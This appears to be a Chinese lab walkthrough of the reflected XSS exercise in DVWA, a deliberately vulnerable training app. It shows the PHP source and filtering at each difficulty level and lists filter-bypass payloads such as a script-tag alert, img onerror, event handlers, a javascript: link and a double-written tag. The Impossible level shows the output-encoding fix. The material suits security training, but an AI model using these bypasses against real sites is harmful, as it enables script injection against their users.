DVWA--XSS(Reflected)(全难度)
生活随笔
收集整理的這篇文章主要介紹了
DVWA--XSS(Reflected)(全难度)
小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.
DVWA–XSS(Reflected)(反射型XSS)
原理參考:網(wǎng)絡(luò)安全筆記-99-滲透-XSS
邏輯
輸入name,回顯name
難度分級(jí)
Low
核心代碼
<?phpheader ("X-XSS-Protection: 0");// Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Feedback for end userecho '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; }?>分析
header:發(fā)送原生HTTP頭
array_key_exists(key,array):檢查數(shù)組里是否有指定的鍵名或索引。key:要檢查的鍵,被檢查的數(shù)組
name參數(shù)是GET型,在url里。
直接輸出name參數(shù),沒(méi)有任何過(guò)濾
利用
直接使用script標(biāo)簽即可利用:
<script>alert(/xss/)</script>
Medium
核心代碼
<?phpheader ("X-XSS-Protection: 0");// Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = str_replace( '<script>', '', $_GET[ 'name' ] );// Feedback for end userecho "<pre>Hello ${name}</pre>"; }?>分析
使用了str_replace()替換函數(shù)。
將
利用
其他標(biāo)簽事件利用或者偽協(xié)議利用,或雙寫,大小寫,編碼繞過(guò)等。
- <img src="#" onerror="alert(/xss/)">
- <input type="text" onkeydown='alert(/xss/)'>
- <input onclick="alert(/xss/)">
- <a href="javascript:alert(/xss/)">click</a>
- <sc<script>ript>alert(/xss/)</script>
High
核心代碼
<?phpheader ("X-XSS-Protection: 0");// Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );// Feedback for end userecho "<pre>Hello ${name}</pre>"; }?>分析
preg_replace(pattern,replacement,subject):執(zhí)行正則表達(dá)的搜索與替換
pattern:搜索模式
replacement:進(jìn)行替換的值
subject:原字符串
將script每個(gè)字母之間的內(nèi)容都替換為空
利用
script標(biāo)簽不可用了,可以選擇其他標(biāo)簽,觸發(fā)事件。
- <img src="#" onerror="alert(/xss/)">
Impossible
核心代碼
<?php// Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$name = htmlspecialchars( $_GET[ 'name' ] );// Feedback for end userecho "<pre>Hello ${name}</pre>"; }// Generate Anti-CSRF token generateSessionToken();?>分析
htmlspecialchars():將特殊字符轉(zhuǎn)換為 HTML 實(shí)體。
引入了Token機(jī)制。
利用
無(wú)
總結(jié)
以上是生活随笔為你收集整理的DVWA--XSS(Reflected)(全难度)的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: GridView中DataFormatS
- 下一篇: 解决Django migrate: Yo